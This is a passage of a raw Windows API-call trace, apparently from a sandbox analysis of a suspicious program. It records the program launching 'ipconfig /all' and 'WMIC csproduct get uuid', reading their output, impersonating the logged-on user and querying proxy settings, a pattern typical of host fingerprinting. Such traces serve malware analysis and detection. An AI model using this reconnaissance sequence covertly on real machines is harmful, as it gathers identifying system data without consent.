/all", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1c83db30*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x3b0, hStdError=0xb), lpProcessInformation=0x308bc58 | out: lpCommandLine="\"C:\\Windows\\system32\\ipconfig.exe\" /all", lpProcessInformation=0x308bc58*(hProcess=0x404, hThread=0x378, dwProcessId=0xacc, dwThreadId=0xae4)) returned 1 [0253.977] GetConsoleOutputCP () returned 0x1b5 [0254.037] SHGetFileInfoA (in: pszPath="C:\\Windows\\system32\\ipconfig.exe", dwFileAttributes=0x0, psfi=0x1c83dbd8, cbFileInfo=0x168, uFlags=0x2000 | out: psfi=0x1c83dbd8) returned 0x4550 [0254.038] CoTaskMemFree (pv=0x1b8666e0) [0254.278] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0254.278] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0254.278] CoTaskMemFree (pv=0x1b861cb0) [0254.281] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0254.282] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0254.282] CoTaskMemFree (pv=0x1b861cb0) [0254.447] SHGetFileInfoA (in: pszPath="C:\\Windows\\System32\\Wbem\\WMIC.exe", dwFileAttributes=0x0, psfi=0x1c83db88, cbFileInfo=0x168, uFlags=0x2000 | out: psfi=0x1c83db88) returned 0x4550 [0254.469] GetConsoleWindow () returned 0xe0214 [0254.469] CoTaskMemAlloc (cb=0x104) returned 0x1b861cb0 [0254.469] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x1b861cb0, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0254.469] CommandLineToArgvW (in: lpCmdLine=" csproduct get uuid", pNumArgs=0x1c83dbd0 | out: pNumArgs=0x1c83dbd0) returned 0x1b879b50*="" [0254.470] lstrlenW (lpString="csproduct") returned 9 [0254.470] CoTaskMemAlloc (cb=0x16) returned 0x1b876b30 [0254.470] RtlMoveMemory (in: Destination=0x1b876b30, Source=0x1b879b7a, Length=0x14 | out: Destination=0x1b876b30) [0254.471] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\System32\\Wbem\\WMIC.exe\" csproduct get uuid", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1c83db30*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x4c0, hStdError=0xb), lpProcessInformation=0x33229a0 | out: lpCommandLine="\"C:\\Windows\\System32\\Wbem\\WMIC.exe\" csproduct get uuid", lpProcessInformation=0x33229a0*(hProcess=0x4c8, hThread=0x404, dwProcessId=0x7ac, dwThreadId=0x140)) returned 1 [0254.474] SHGetFileInfoA (in: pszPath="C:\\Windows\\System32\\Wbem\\WMIC.exe", dwFileAttributes=0x0, psfi=0x1c83dbd8, cbFileInfo=0x168, uFlags=0x2000 | out: psfi=0x1c83dbd8) returned 0x4550 [0256.941] SetEvent (hEvent=0x4c0) returned 1 [0257.105] ImpersonateLoggedOnUser (hToken=0x454) returned 1 [0257.105] RegNotifyChangeKeyValue (hKey=0x43c, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x440, fAsynchronous=1) returned 0x0 [0257.106] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c83e088 | out: pProxyConfig=0x1c83e088) returned 1 [0257.297] WriteConsoleW (in: hConsoleOutput=0x17, lpBuffer=0x33d4138*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1c83e0a0, lpReserved=0x0 | out: lpBuffer=0x33d4138*, lpNumberOfCharsWritten=0x1c83e0a0*=0x2) returned 1 [0257.327] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0257.328] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x1c83e050 | out: lpConsoleScreenBufferInfo=0x1c83e050) returned 1 [0257.331] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0257.353] GetConsoleMode (in: hConsoleHandle=0x1b, lpMode=0x1c83e0b0 | out: lpMode=0x1c83e0b0) returned 1 [0257.353] WriteConsoleW (in: hConsoleOutput=0x1b, lpBuffer=0x33d4138*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1c83e080, lpReserved=0x0 | out: lpBuffer=0x33d4138*, lpNumberOfCharsWritten=0x1c83e080*=0x2) returned 1 [0257.353] CloseHandle (hObject=0x1b) returned 1 [0257.487] GetConsoleOutputCP () returned 0x1b5 [0257.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.488] GetConsoleOutputCP () returned 0x1b5 [0257.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.488] GetConsoleOutputCP () returned 0x1b5 [0257.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.488] GetConsoleOutputCP () returned 0x1b5 [0257.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.488] GetConsoleOutputCP () returned 0x1b5 [0257.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.488] GetConsoleOutputCP () returned 0x1b5 [0257.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.489] GetConsoleOutputCP () returned 0x1b5 [0257.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.489] GetConsoleOutputCP () returned 0x1b5 [0257.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.489] GetConsoleOutputCP () returned 0x1b5 [0257.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.489] GetConsoleOutputCP () returned 0x1b5 [0257.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.490] GetConsoleOutputCP () returned 0x1b5 [0257.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.490] GetConsoleOutputCP () returned 0x1b5 [0257.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.490] GetConsoleOutputCP () returned 0x1b5 [0257.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.490] GetConsoleOutputCP () returned 0x1b5 [0257.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.490] GetConsoleOutputCP () returned 0x1b5 [0257.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x1c83dfc0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x1c83dfc0) returned 0 [0257.828] CoUninitialize () Thread: id = 293 os_tid = 0x570 Thread: id = 294 os_tid = 0x60c [0249.941] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0249.944] ResetEvent (hEvent=0x358) returned 1 Thread: id = 296 os_tid = 0xa4c [0254.046] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0254.048] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8f8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8f8*=0x1e, lpOverlapped=0x0) returned 1 [0254.244] SetEvent (hEvent=0x378) returned 1 [0254.244] SetEvent (hEvent=0x498) returned 1 [0254.245] SetEvent (hEvent=0x378) returned 1 [0254.245] SetEvent (hEvent=0x498) returned 1 [0254.245] SetEvent (hEvent=0x378) returned 1 [0254.245] SetEvent (hEvent=0x498) returned 1 [0254.245] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x30, lpOverlapped=0x0) returned 1 [0254.245] SetEvent (hEvent=0x378) returned 1 [0254.245] SetEvent (hEvent=0x498) returned 1 [0254.245] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x29, lpOverlapped=0x0) returned 1 [0254.246] SetEvent (hEvent=0x378) returned 1 [0254.246] SetEvent (hEvent=0x498) returned 1 [0254.246] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2f, lpOverlapped=0x0) returned 1 [0254.300] SetEvent (hEvent=0x378) returned 1 [0254.300] SetEvent (hEvent=0x498) returned 1 [0254.300] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2b, lpOverlapped=0x0) returned 1 [0254.300] SetEvent (hEvent=0x378) returned 1 [0254.300] SetEvent (hEvent=0x498) returned 1 [0254.301] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2b, lpOverlapped=0x0) returned 1 [0254.301] SetEvent (hEvent=0x378) returned 1 [0254.301] SetEvent (hEvent=0x498) returned 1 [0254.301] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2d, lpOverlapped=0x0) returned 1 [0254.322] SetEvent (hEvent=0x378) returned 1 [0254.322] SetEvent (hEvent=0x498) returned 1 [0254.322] SetEvent (hEvent=0x378) returned 1 [0254.322] SetEvent (hEvent=0x498) returned 1 [0254.323] SetEvent (hEvent=0x378) returned 1 [0254.323] SetEvent (hEvent=0x498) returned 1 [0254.323] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x29, lpOverlapped=0x0) returned 1 [0254.324] SetEvent (hEvent=0x378) returned 1 [0254.324] SetEvent (hEvent=0x498) returned 1 [0254.324] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x50, lpOverlapped=0x0) returned 1 [0254.324] SetEvent (hEvent=0x378) returned 1 [0254.324] SetEvent (hEvent=0x498) returned 1 [0254.324] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x3a, lpOverlapped=0x0) returned 1 [0254.324] SetEvent (hEvent=0x378) returned 1 [0254.324] SetEvent (hEvent=0x498) returned 1 [0254.324] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2c, lpOverlapped=0x0) returned 1 [0254.325] SetEvent (hEvent=0x378) returned 1 [0254.325] SetEvent (hEvent=0x498) returned 1 [0254.325] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2c, lpOverlapped=0x0) returned 1 [0254.325] SetEvent (hEvent=0x378) returned 1 [0254.325] SetEvent (hEvent=0x498) returned 1 [0254.325] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x51, lpOverlapped=0x0) returned 1 [0254.326] SetEvent (hEvent=0x378) returned 1 [0254.326] SetEvent (hEvent=0x498) returned 1 [0254.326] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x42, lpOverlapped=0x0) returned 1 [0254.326] SetEvent (hEvent=0x378) returned 1 [0254.326] SetEvent (hEvent=0x498) returned 1 [0254.326] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x36, lpOverlapped=0x0) returned 1 [0254.336] SetEvent (hEvent=0x378) returned 1 [0254.336] SetEvent (hEvent=0x498) returned 1 [0254.336] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x4e, lpOverlapped=0x0) returned 1 [0254.337] SetEvent (hEvent=0x378) returned 1 [0254.337] SetEvent (hEvent=0x498) returned 1 [0254.337] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x4d, lpOverlapped=0x0) returned 1 [0254.337] SetEvent (hEvent=0x378) returned 1 [0254.337] SetEvent (hEvent=0x498) returned 1 [0254.337] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x34, lpOverlapped=0x0) returned 1 [0254.338] SetEvent (hEvent=0x378) returned 1 [0254.338] SetEvent (hEvent=0x498) returned 1 [0254.338] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x34, lpOverlapped=0x0) returned 1 [0254.338] SetEvent (hEvent=0x378) returned 1 [0254.339] SetEvent (hEvent=0x498) returned 1 [0254.339] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x32, lpOverlapped=0x0) returned 1 [0254.339] SetEvent (hEvent=0x378) returned 1 [0254.339] SetEvent (hEvent=0x498) returned 1 [0254.339] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x52, lpOverlapped=0x0) returned 1 [0254.339] SetEvent (hEvent=0x378) returned 1 [0254.339] SetEvent (hEvent=0x498) returned 1 [0254.340] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x34, lpOverlapped=0x0) returned 1 [0254.340] SetEvent (hEvent=0x378) returned 1 [0254.340] SetEvent (hEvent=0x498) returned 1 [0254.340] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x30, lpOverlapped=0x0) returned 1 [0254.340] SetEvent (hEvent=0x378) returned 1 [0254.340] SetEvent (hEvent=0x498) returned 1 [0254.340] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x43, lpOverlapped=0x0) returned 1 [0254.341] SetEvent (hEvent=0x378) returned 1 [0254.341] SetEvent (hEvent=0x498) returned 1 [0254.341] SetEvent (hEvent=0x378) returned 1 [0254.341] SetEvent (hEvent=0x498) returned 1 [0254.341] SetEvent (hEvent=0x378) returned 1 [0254.341] SetEvent (hEvent=0x498) returned 1 [0254.341] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x3b, lpOverlapped=0x0) returned 1 [0254.342] SetEvent (hEvent=0x378) returned 1 [0254.342] SetEvent (hEvent=0x498) returned 1 [0254.342] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x29, lpOverlapped=0x0) returned 1 [0254.342] SetEvent (hEvent=0x378) returned 1 [0254.342] SetEvent (hEvent=0x498) returned 1 [0254.342] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x41, lpOverlapped=0x0) returned 1 [0254.343] SetEvent (hEvent=0x378) returned 1 [0254.343] SetEvent (hEvent=0x498) returned 1 [0254.343] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x40, lpOverlapped=0x0) returned 1 [0254.343] SetEvent (hEvent=0x378) returned 1 [0254.343] SetEvent (hEvent=0x498) returned 1 [0254.343] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2b, lpOverlapped=0x0) returned 1 [0254.343] SetEvent (hEvent=0x378) returned 1 [0254.343] SetEvent (hEvent=0x498) returned 1 [0254.343] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2c, lpOverlapped=0x0) returned 1 [0254.344] SetEvent (hEvent=0x378) returned 1 [0254.344] SetEvent (hEvent=0x498) returned 1 [0254.344] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x37, lpOverlapped=0x0) returned 1 [0254.344] SetEvent (hEvent=0x378) returned 1 [0254.344] SetEvent (hEvent=0x498) returned 1 [0254.344] SetEvent (hEvent=0x378) returned 1 [0254.345] SetEvent (hEvent=0x498) returned 1 [0254.345] SetEvent (hEvent=0x378) returned 1 [0254.345] SetEvent (hEvent=0x498) returned 1 [0254.345] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x3b, lpOverlapped=0x0) returned 1 [0254.345] SetEvent (hEvent=0x378) returned 1 [0254.345] SetEvent (hEvent=0x498) returned 1 [0254.345] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x29, lpOverlapped=0x0) returned 1 [0254.346] SetEvent (hEvent=0x378) returned 1 [0254.346] SetEvent (hEvent=0x498) returned 1 [0254.346] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x4a, lpOverlapped=0x0) returned 1 [0254.346] SetEvent (hEvent=0x378) returned 1 [0254.346] SetEvent (hEvent=0x498) returned 1 [0254.346] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x40, lpOverlapped=0x0) returned 1 [0254.346] SetEvent (hEvent=0x378) returned 1 [0254.346] SetEvent (hEvent=0x498) returned 1 [0254.346] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2b, lpOverlapped=0x0) returned 1 [0254.347] SetEvent (hEvent=0x378) returned 1 [0254.347] SetEvent (hEvent=0x498) returned 1 [0254.347] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8*, lpNumberOfBytesRead=0x1ca4e8b8*=0x2c, lpOverlapped=0x0) returned 1 [0254.347] SetEvent (hEvent=0x378) returned 1 [0254.347] SetEvent (hEvent=0x498) returned 1 [0254.347] ReadFile (in: hFile=0x3b4, lpBuffer=0x308c2f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ca4e8b8, lpOverlapped=0x0 | out: lpBuffer=0x308c2f8, lpNumberOfBytesRead=0x1ca4e8b8*=0x0, lpOverlapped=0x0) returned 0 [0254.375] SetEvent (hEvent=0x4a4) returned 1 [0254.375] SetEvent (hEvent=0x378) returned 1 [0254.375] SetEvent (hEvent=0x498) returned 1 [0254.375] CoUninitialize () Thread: id = 303 os_tid = 0xa0c [0254.484] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0254.485] ReadFile (in: hFile=0x4c4, lpBuffer=0x3322c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c8be978, lpOverlapped=0x0 | out: lpBuffer=0x3322c10*, lpNumberOfBytesRead=0x1c8be978*=0x29, lpOverlapped=0x0) returned 1 [0256.931] SetEvent (hEvent=0x404) returned 1 [0256.931] SetEvent (hEvent=0x4c0) returned 1 [0256.931] SetEvent (hEvent=0x404) returned 1 [0256.931] SetEvent (hEvent=0x4c0) returned 1 [0256.931] ReadFile (in: hFile=0x4c4, lpBuffer=0x3322c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c8be938, lpOverlapped=0x0 | out: lpBuffer=0x3322c10*, lpNumberOfBytesRead=0x1c8be938*=0x29, lpOverlapped=0x0) returned 1 [0256.943] SetEvent (hEvent=0x404) returned 1 [0256.943] SetEvent (hEvent=0x4c0) returned 1 [0256.943] SetEvent (hEvent=0x404) returned 1 [0256.943] SetEvent (hEvent=0x4c0) returned 1 [0256.944] ReadFile (in: hFile=0x4c4, lpBuffer=0x3322c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c8be938, lpOverlapped=0x0 | out: lpBuffer=0x3322c10*, lpNumberOfBytesRead=0x1c8be938*=0x3, lpOverlapped=0x0) returned 1 [0256.945] SetEvent (hEvent=0x404) returned 1 [0256.945] SetEvent (hEvent=0x4c0) returned 1 [0256.945] SetEvent (hEvent=0x404) returned 1 [0256.945] SetEvent (hEvent=0x4c0) returned 1 [0256.945] ReadFile (in: hFile=0x4c4, lpBuffer=0x3322c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c8be938, lpOverlapped=0x0 | out: lpBuffer=0x3322c10, lpNumberOfBytesRead=0x1c8be938*=0x0, lpOverlapped=0x0) returned 0 [0257.059] SetEvent (hEvent=0x4cc) returned 1 [0257.059] SetEvent (hEvent=0x404) returned 1 [0257.059] SetEvent (hEvent=0x4c0) returned 1 [0257.059] SetEvent (hEvent=0x4d0) returned 1 [0257.059] CoUninitialize () Thread: id = 310 os_tid = 0xa30 [0257.830] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0257.831] SetThreadUILanguage (LangId=0x0) returned 0x7fffffa0409 [0257.832] VirtualQuery (in: lpAddress=0x1c83d840, lpBuffer=0x1c83e700, dwLength=0x30 | out: lpBuffer=0x1c83e700*(BaseAddress=0x1c83d000, AllocationBase=0x1beb0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.832] VirtualQuery (in: lpAddress=0x1c83daf0, lpBuffer=0x1c83e9b0, dwLength=0x30 | out: lpBuffer=0x1c83e9b0*(BaseAddress=0x1c83d000, AllocationBase=0x1beb0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0257.853] SetEvent (hEvent=0x4f0) 